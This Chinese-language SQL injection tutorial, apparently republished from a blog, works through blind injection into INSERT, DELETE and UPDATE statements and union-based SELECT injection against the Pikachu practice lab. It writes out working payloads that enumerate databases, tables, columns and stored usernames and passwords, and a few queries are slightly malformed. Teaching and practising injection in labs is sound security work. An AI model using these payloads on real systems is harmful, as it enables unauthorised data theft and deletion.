一. SQL注入介绍
1.1 sql注入概念
1.1.1 sql注入的实质:数据库将用户输入的数据当作代码执行
1.1.2 sql注入产生的条件
- 用户能控制输入
- 原本程序要执行的代码,拼接了用户输入的数据然后进行执行
1.2 sql注入注入点判断
1.2.1 判断是否存在可控变量
- 抓包判断
如图所示,id=1与submit=%E6%9F%A5%E8%AF%A2都是外部传递变量
1.2.2 判断是否存在与数据库交互
- 功能判断
如搜索栏、登录框、页面展示等与数据库相关的功能存在与数据库交互
1.2.3 判断过滤是否严谨
- 传递值后添加’,“或其他杂乱无章的字符查看是否存在变化
1.2.4 判断闭合与功能实现
- 搜索型:1%" and “%1%”=“1 结论true、1%” and “%1%”="2 结论fales等
- 展示型:1 and 1=1-- - 结论true、1 and 1=2-- - 结论:fales等
二. insert注入
2.1 insert注入场景
2.1.1 insert函数功能简介:insert在sql语句中代表是往表中添加数据的操作
2.1.2 insert函数注入场景:注册功能、留言功能、添加用户功能等
2.2 insert注入
2.1.1 insert注入介绍:insert由于其功能决定并不会对结论进行直接输出,同时其sql语句预编译是insert型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入(存在数据库报错信息)
2.1.2 insert布尔盲注使用函数
length(str1) #返回str1字符串长度
left(str1,num) #对字符串str1从左开始数起,返回num个字符
substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同
ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同
like 模糊匹配(可用正则表达式) regexp #与like类似
2.1.3 insert布尔盲注实列
(1)查看功能
(2)输入传递值并抓包查看
**
由数据包可以看到向服务器传递的变量与变量值
根据注册功能可以得出其sql语句是insert
(3)制作payload
正常注册sql语句:insert into tablename(username,password,sex,phonenum,email,add) values ('test',123456,'%E7%94%B7','13371689786','%E5%B9%BF%E4%B8%9C%E6%B7%B1%E5%9C%B3')
注入注册sql语句:insert into tablename(username,password,sex,phonenum,email,add) values ('test',123456,'%E7%94%B7','13371689786*',(select 1 where 1=1))-- -)*','%E5%B9%BF%E4%B8%9C%E6%B7%B1%E5%9C%B3')
解析:上述语句对比不同的地方为payload,根据数据库语句规则,若注册sql语句后续payload为’,(select 1 where 1=1))-- -时,则程序正常运行。若注册sql语句后续payload为’,(select 1 where 1=2))-- -时,程序不正常运行。根据true与fales来进行布尔盲注
(4)测试payloa
- 如上图所示,‘,(select 1 where 1=1))-- -与’,(select 1 where 1=2))-- -存在差异,则代表制作的payload有效。当第七位值为true时,注册成功,当第七位值为fales时,注册失败。
- 可以根据第七位值true或fales进行布尔盲注(后续会讲)
示例payload:email=1',(if(length(database())=x,(select 1 where 1=1),(select 1 where 1=2)))-- -可以遍历数据库长度
缺点:由于测试其差异性需要创建用户,所以sql注入后存在许多测试用户
特性:insert注册功能&selete账户信息功能组成容易造成二阶注入
三. delete注入
3.1 delete注入场景
3.1.1 delete函数功能简介:delete函数主要作用是删除数据库已存在数据
3.1.2 delete注入场景:删除用户,删除留言
3.2 delete注入
3.2.1 delete注入介绍:delete由于其功能决定并不会对结论进行直接输出,同时其sql语句预编译是delete型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入(存在数据库报错信息)
3.2.2 delete注入常用函数
length(str1) #返回str1字符串长度
left(str1,num) #对字符串str1从左开始数起,返回num个字符
substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同
ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同
like 模糊匹配(可用正则表达式) regexp #与like类似
3.2.3 delete布尔盲注实列
(1)查看功能
(2)输入传递值并抓包查看
(3)构造payload
正常删除sql语句:delete from tablename where id=334
注入删除sql语句:delete from tablename where id=334 and 1=1-- -
解析:根据sql语句当输入payload为 and 1=1-- -时可以正常执行,当注入payload为 and 1=2-- -时不可以正常实现,可根据其true和false来进行布尔盲注(盲注会造成大量的删除功能实现,真实环境容易进局子,切记)
(4)测试payload
- 如上图所示, and 1=1-- -与 and 1=2-- -存在差异,则代表制作的payload有效。当 and 1=1-- -时,删除成功,当 and 1=2-- -时,注册失败。
- 可以根据删除效果判断true和false,可以据此进行布尔盲注(后续会讲)
四. update注入
3.1 update注入场景
3.1.1 update函数功能简介:update函数主要作用是修改数据库已存在数据
3.1.2 update注入场景:修改密码,修改用户信息
3.2 update注入
3.2.1 update注入介绍:update由于其功能决定并不会对结论进行直接输出,同时其sql语句预编译是update型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入(存在数据库报错信息)
3.2.2 update注入常用函数
length(str1) #返回str1字符串长度
left(str1,num) #对字符串str1从左开始数起,返回num个字符
substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同
ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同
like 模糊匹配(可用正则表达式) regexp #与like类似
3.2.3 update布尔盲注实列
(1)查看功能
(2)输入传递值并抓包查看
(3)制作payload
正常修改sql语句:update tablename set sex='test2',phonenum='test3',email='test1' where username='test1'
注入修改sql语句:update tablename set sex='test2',phonenum='test3',email='test1' where username='test1' and 1=1-- -' where username='test1'
解析:根据sql语句当输入payload为’ where username=‘test1’ and 1=1-- -时可以正常执行,当注入payload为’ where username=‘test1’ and 1=2-- -时不可以正常实现,可根据其true和false来进行布尔盲注(此payload需要爆破字段username(可以是id或其他,也可以不填更改所有))
(4)测试payload
如上图所示,当payload为’ where username=‘test1 ’ and 1=1-- -时,可以将性别修改为test10,当payload为’ where username='test1 ’ and 1=2-- -时,不能将性别修改为test20
可以根据其注册成功和注册失败2种形态进行布尔盲注(后续会讲)
五. selete注入
5.1 selete注入场景
5.1.1 selete函数功能简介:selete函数主要是查询数据库数据,并展示出来
5.1.2 selete注入场景:登录功能,搜索栏,用户信息展示,页面展示,图片展示等
5.2 selete注入
5.2.1 union函数介绍
- 功能:一条sql语句通过union函数连接可以执行多个查询语句,并使其结果在统一显示表展示
- 限制:多个sql查询语句的查询字段数需相同(如下例:users表查询主要是查询3个字段(id,username,password),member表查询也需要查询3个字段(id,username,pw))
- 示例:select id,username,password from users union select id,username,pw
from member
5.2.2 selete注入介绍:selete因为其具有查询功能,并其能显示查询结果。所以部分selete注入可以通过查询结果进行sql注入。主要注入方式有联合查询注入(存在数据库输出),盲注,报错注入(存在报错信息)
5.2.3 selete注入常用函数
selete #联合查询g'n功能
order by #指定列升序排列
concat() #横向合并
group_concat #纵向合并
limit 0,1 #截取字符串
/**/ #注释中间语句,可替代空格
-- - #注释后续语句
# #注释后续语句
5.2.4 selete注入实列
(1)查看功能
此功能是根据用户userid展示出用户用户名与邮箱
其功能sql语句:select username,mail from users where userid=$id;
(2)查看请求包外部传参
上图id与submit都是外部post传参,可能存在注入点
(3)构造测试payload
正常查询sql语句:select username,mail from users where userid=1 limit 0,1
注入查询sql语句:select username,mail from users where userid=1 and 1=1 limit 0,1
(4)测试payload
解析:上述传入id值为1 and 1=1时,执行正确,传入1 and 1=2时,执行错误。表示外部传递值对其sql语句进行了影响,并可控。可以根据布尔进行sql注入。由于select具有展示功能,所以也可以进行联合查询注入
(5)联合查询注入获取数据库信息
- 猜解字段数(由于union函数语法需联合的多个查询语句查询字段数相同,所以需要查询预编译sql语句的字段数)
使用order by 1进行查询,order by 后续值代表第多少列进行升序排列。当数字到达不存在的列时由于无法按规定列升序排列,所以会报错。字段数为最后正常执行order by的后续数字(推荐使用二分法)
第二行进行升序排列正常执行
第三行进行升序排列不能正常运行
即原始select语句字段数为2,union查询sql语句也需要为2
- 查询数据库相关信息
查询显示位(数据库查询出来的数据需要后端语言(php,java)控制显示出来,并不一定全部数据都可以进行显示。同时需要将原有查询语句参数设置为null值,使其查询不到原有查询语句。否则容易遮挡union后续查询语句)
如上可以看到1,2为显示位
查询数据库名 select database(),2-- -
可以得数据库名为pikachu
查询用户名:user()
查询数据库版本:version()
- 查询表
union select table_name,2 from information_schema.tables where table_schema=“pikachu”
解析:就普通的查询information_schema.tables表信息的sql语句。information_schema数据库介绍上篇博客有;本靶场将所有的查询信息都展示。部分真实场景仅仅展示1个。可以使用limit或group_concat()将所有的信息都输出出来
查询表字段
union select column_name,2 from information_schema.columns where table_name=“users”
解析:查询users表的字段
查询值文章来源:https://www.toymoban.com/news/detail-414824.html
union select username,password where users
文章来源地址https://www.toymoban.com/news/detail-414824.html
到了这里,关于SQL注入_insert&delete&update&selete的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!